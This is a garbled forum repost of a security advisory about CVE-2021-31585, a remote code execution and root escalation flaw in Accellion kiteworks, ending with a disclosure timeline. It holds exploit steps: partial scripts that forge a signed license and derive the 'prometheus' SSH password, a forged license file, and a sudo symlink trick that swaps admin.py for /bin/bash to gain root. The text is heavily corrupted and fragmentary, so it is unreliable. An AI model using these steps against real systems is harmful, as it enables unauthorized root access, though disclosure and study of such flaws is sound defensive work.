[29015] 2021-06-18_CVE-2021-31585:Accellionkiteworks-远程代码执行的Web管理员

文档创建者:s7ckTeam
浏览次数:6
最后更新:2025-01-19
2021-06-18_CVE-2021-31585:Accellionkiteworks-远程代码执行的Web管理员 C V E - 2 0 2 1 - 3 1 5 8 5 A c c e l l i o n   k i t e w o r k s   -     W e b   O t s   2 0 2 1 - 0 6 - 1 8 O t s Z X   S e c u r i t y     A c c e l l i o n     k i t e w o r k s   使   k i t e w o r k s     ( V M )   访   W e b     k i t e w o r k s     r o o t   S S H   访   7 . 3 . 1 - n g 9     2 0 2 1     3     4   A c c e l l i o n A c c e l l i o n     k i t e w o r k s   访   V M   使   k i t e w o r k s . v m d k   齿   P H P     P y t h o n / g u n i c o r n   A P I   P H P   A P I   M y S Q L     M o n g o D B     P y t h o n   C L I     A P I     S S H   访 访   k i t e w o r k s     A c c e l l i o n   S S H   W e b   W e b     A c c e l l i o n   S S H   访   A c c e l l i o n   使   A c c e l l i o n   访
使   S S H     k i t e w o r k s   V M     1 0   访   S S H   f i l e x _ k e y P y t h o n   C L I   f i l e x _ k e y b a s e 6 4   使   R S A     A E S - 1 2 8 - C B C   p r o m e t h e u s 访   S S H     S S H   访 f i l e x _ k e y 0 6 2 d 2 1 0 9 0 b 8 9 b a 0 4 b 0 3 1 b 8 2 5 f 2 c e 7 d a 6 s h a 1 _ h e x ( p h a s e   +   f i l e x _ k e y ) [ : 1 0 ]
使   2   使   1   使   S H A 5 1 2     2 f u n c t i o n   s t o r e L i c e n s e F r o m F i l e ( f i l e )   {         l i c e n s e   =   g e t F i l e C o n t e n t s ( f i l e ) ;         l i c e n s e C o n t e n t   =   d e c r y p t ( l i c e n s e ) ;         i f   ( l i c e n s e C o n t e n t [ " l i c e n s e " ] [ " f i l e _ f o r m a t _ v e r s i o n " ]   ! =   2 )   {                 t h r o w   e r r o r ( " L i c e n s e   v e r s i o n   n o t   s u p p o r t e d . " ) ;         }         . . . } f u n c t i o n   d e c r y p t ( t e x t ,   v e r i f y D a t a = t r u e )   {         t e x t   =   b a s e 6 4 D e c o d e ( t e x t ) ;         k e y   =   s h a 5 1 2 ( t h i s . p u b l i c K e y ) [ : 3 2 ] ;         i v   =   b y t e s ( 0 ,   0 ,   0 ,   0 ,   0 ,   0 ,   0 ,   0 ,   0 ,   0 ,   0 ,   0 ,   0 ,   0 ,   0 ,   0 ) ;         d a t a   =   d e c r y p t A E S 2 5 6 C B C ( t e x t ,   k e y ,   i v ,   N O _ P A D D I N G ) ;         i f   ( v e r i f y D a t a )   {                 d a t a   =   v e r i f y ( d a t a ) ;         }         r e t u r n   j s o n D e c o d e ( d a t a ) ; } f u n c t i o n   v e r i f y ( o r i g i n a l D a t a )   {         d a t a   =   j s o n D e c o d e ( o r i g i n a l D a t a ) ;         i f   ( d a t a . h a s ( " s i g n a t u r e " ) )   {                 s i g n a t u r e   =   d a t a [ " s i g n a t u r e " ] ;                 o r i g i n a l D a t a   =   o r i g i n a l D a t a . r e p l a c e ( s i g n a t u r e ,   " " ) ;                 i f   ( d a t a . h a s ( " r e c i p e " ) ) {                         v e r s i o n   =   d a t a [ " r e c i p e " ] [ " f i l e _ f o r m a t _ v e r s i o n " ] ;                 }                 e l s e   {                         v e r s i o n   =   d a t a [ " l i c e n s e " ] [ " f i l e _ f o r m a t _ v e r s i o n " ] ;                 }                 i f   ( v e r s i o n   = =   1 )   {                         i f   ( s h a 5 1 2 ( o r i g i n a l D a t a )   ! =   s i g n a t u r e )   {                                 t h r o w   e r r o r ( " L i c e n s e   s i g n a t u r e   m i s m a t c h " ) ;                         }                 }                 e l s e   i f   ( v e r s i o n   = =   2 )   {                         / /   v e r i f i c a t i o n   v i a   p u b l i c   k e y   c r y p t o g r a p h y                 }         }         r e t u r n   d a t a ; }
  r e c i p e . f i l e _ f o r m a t _ v e r s i o n   1   2   使   1   使 s i g n _ a n d _ e n c r y p t . p y t e s t _ l i c e n s e . j s o n W e b   使 p h a s e f i l e x _ k e y   W e b   访   S S H   1 .   使 t e s t _ l i c e n s e . j s o n 2 .   3 .     W e b     W e b   4 .   5 .   l i c e n s e 6 .   7 .     S S H   访 8 .   使 1 0 .   . / s i g n _ a n d _ e n c r y p t . p y   t e s t l i c e n s e . j s o n   >   t e s t . l i c / a d m i n / # / l i c e n s e _ u p l o a d / a d m i n / # / l o c a t i o n s 9 .   . / g e n _ p r o m _ p a s s w d . p y   < m a n a g e m e n t _ p a s s w o r d >   < f i l e x _ k e y > s s h   p r o m e t h e u s @ < s e r v e r _ i p >
1 1 .   使   S S H   p r o m e t h e u s r o o t     k i t e w o r k s   S h u b h a m   S h a h   2 0 1 6     k i t e w o r k s   [ 2 ] C V E - 2 0 1 6 - 5 6 6 2   [ 3 ] 使   r o o t     p r o m e t h e u s   .     b i n   r o o t   b i n b i n 2 b i n a d m i n . p y .     r o o t     r o o t s s h   p r o m e t h e u s @ < s e r v e r _ i p > s u d o   - l / o p t / p r o m e t h e u s / b i n / a d m i n . p y / o p t / p r o m e t h e u s / h o m e / p r o m e t h e u s / p r o m - s o u r c e / b i n / b a s h s u d o   / o p t / p r o m e t h e u s / b i n / a d m i n . p y / b i n / b a s h c d   ~ / p r o m - s o u r c e m v   b i n   b i n 2 m k d i r   b i n l n   - s   / b i n / b a s h   b i n / a d m i n . p y s u d o   / o p t / p r o m e t h e u s / b i n / a d m i n . p y
  k i t e w o r k s     7 . 3 . 1 - n g 9     2 2   访 访 访 .   .   .   .   .   .   . .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   . .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .     S S H     s u d o   使   s u d o   访 s i g n _ a n d _ e n c r y p t . p y g e n _ p r o m _ p a s s w o r d . p y t e s t _ l i c e n s e . j s o n # ! / u s r / b i n / e n v   p y t h o n 3 i m p o r t   j s o n i m p o r t   h a s h l i b i m p o r t   b a s e 6 4 f r o m   C r y p t o . C i p h e r   i m p o r t   A E S i m p o r t   s y s S T A T I C _ E N C R Y P T I O N _ K E Y           t a r g e t _ s i z e   =   ( ( l e n ( b s t r )   +   1 6   -   1 )   / /   1 6 )   *   1 6         r e t u r n   b s t r . l j u s t ( t a r g e t _ s i z e ,   b ' 0 ' ) i f   l e n ( s y s . a r g v )   ! =   2 :         p r i n t ( " U s a g e :       . / s i g n _ a n d _ e n c r y p t . p y   < l i c e n s e _ o r _ a p p . j s o n > " )         p r i n t ( " E x a m p l e :   . / s i g n _ a n d _ e n c r y p t . p y   . / t e s t l i c e n s e . j s o n " )         e x i t ( 1 ) d a t a   =   " " w i t h   o p e n ( s y s . a r g v [ 1 ] )   a s   f :         d a t a   =   f . r e a d ( ) l i c e n s e _ d a t a   =   j s o n . l o a d s ( d a t a ) #   o v e r r i d e s   s i g n a t u r e   v e r i f i c a t i o n   v e r s i o n   ( s e e   l i c e n s e . p h p # 5 8 4 ) # ! / u s r / b i n / e n v   p y t h o n 3 i m p o r t   h a s h l i b i m p o r t   s y s i f   l e n ( s y s . a r g v )   ! =   3 :         p r i n t ( " U s a g e :       . / g e n _ p r o m _ p a s s w d . p y   < m a n a g e m e n t _ p a s s w o r d >   < f i l e x _ k e y > " )         p r i n t ( " E x a m p l e :   . / g e n _ p r o m _ p a s s w d . p y   F v 5 c d Y y n q a - 0 1 0 2 0 3 0 4 0 5   A A A A A A A A A A A A A A A A " )         e x i t ( 1 ) p h a s e   =   s y s . a r g v [ 1 ] . s p l i t ( ' - ' ) [ 0 ] f i l e x _ k e y   =   s y s . a r g v [ 2 ] p a s s w o r d   =   h a s h l i b . s h a 1 ( ( p h a s e   +   f i l e x _ k e y ) . e n c o d e ( {         " c u s t o m e r " :   {                 " d e p l o y m e n t I D " :   " < r e d a c t e d > " ,                 " e x p i r e s " :   1 6 2 9 9 7 7 5 9 9 ,                 " n u m b e r " :   " < r e d a c t e d > " ,                 " p a c k a g e _ t y p e " :   " 1 2 1 5 2 f 1 b - e 6 e c - 4 9 d 7 - b d 2 6 - 6 5 5 e 5 8 4 f 4 1 7 1 "         } ,
        " f e a t u r e s " :   {                 " a n t i _ v i r u s " :   {                         " d a t a " :   {                                 " a n t i _ v i r u s " :   t r u e ,                                 " s e r v e r s " :   2                         }                 } ,                 " a p i _ i n t e g r a t i o n " :   {                         " d a t a " :   {                                 " a p i _ i n t e g r a t i o n " :   t r u e                         }                 } ,                 " b a s e _ i n s t a l l " :   {                         " d a t a " :   {                                 " d e p l o y m e n t _ t y p e " :   " 1 " ,                                 " f i l e x _ k e y " :   " A A A A A A A A A A A A A A A A " ,                                 " l i c e n s e d " :   {                                         " s e r v e r s " :   2 ,                                         " u s e r s " :   1 0                                 } ,                                 " s o f t w a r e _ v e r s i o n " :   " p r o d u c t i o n " ,                                 " u p d a t e _ s e r v e r " :   " u p d a t e . a c c e l l i o n . n e t "                         }                 } ,                 " u s a g e _ r e p o r t i n g " :   {                         " d a t a " :   {                                 " u s a g e _ r e p o r t i n g " :   t r u e                         }                 }         } ,         " l i c e n s e " :   {                 " c r e a t e d " :   1 6 0 7 3 9 8 5 5 1 ,                 " c r e a t o r " :   " < r e d a c t e d > " ,                 " d e s c r i p t i o n " :   " Z X   S e c u r i t y   -   k i t e w o r k s   E n t e r p r i s e   D e p l o y m e n t " ,                 " f i l e _ f o r m a t _ v e r s i o n " :   2 ,                 " l i c e n s e _ k e y " :   " < r e d a c t e d > " ,                 " p r o d u c t " :   " k i t e w o r k s "         } }
[ 1 ]   A c c e l l i o n   k i t e w o r k s h t t p s : / / w w w . a c c e l l i o n . c o m / s i t e s / d e f a u l t / f i l e s / r e s o u r c e s / d s _ s e c u r e - f i l e - s h a r i n g - a n d - c o l l a b o r a t i o n . p d f [ 2 ]   C E R T A c c e l l i o n   K i t e w o r k s   h t t p s : / / w w w . k b . c e r t . o r g / v u l s / i d / 3 0 5 6 0 7 [ 3 ]   N I S T C V E - 2 0 1 6 - 5 6 6 2 h t t p s : / / n v d . n i s t . g o v / v u l n / d e t a i l / C V E - 2 0 1 6 - 5 6 6 2 线 线 1 0 / 0 1 / 2 0 2 1   -     A c c e l l i o n   1 0 / 0 1 / 2 0 2 1   -   A c c e l l i o n   1 0 / 0 1 / 2 0 2 1   -     A c c e l l i o n   1 0 / 0 1 / 2 0 2 1   -     Z X   S e c u r i t y   1 0 / 0 1 / 2 0 2 1   -     ( 7 . 2 . 0 - n g 2 5 ) 1 1 / 0 1 / 2 0 2 1   -   A c c e l l i o n   1 4 / 0 1 / 2 0 2 1   -     A c c e l l i o n     P 2     3   1 4 / 0 1 / 2 0 2 1   -   Z X   S e c u r i t y     A c c e l l i o n     C V E   1 4 / 0 1 / 2 0 2 1   -   A c c e l l i o n     C V E 1 6 / 0 3 / 2 0 2 1   -   Z X   1 6 / 0 3 / 2 0 2 1   -   A c c e l l i o n     7 . 3 . 1 - n g 9     0 4 / 0 3 / 2 0 2 1 1 7 / 0 3 / 2 0 2 1   -   Z X   S e c u r i t y   1 8 / 0 3 / 2 0 2 1   -   A c c e l l i o n   2 0 2 1     5     3 0     -   Z X   S e c u r i t y     A c c e l l i o n     C V E   1 1 / 0 6 / 2 0 2 1   -   C V E     C V E - 2 0 2 1 - 3 1 5 8 5 2 0 2 1     6     1 6     -  
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则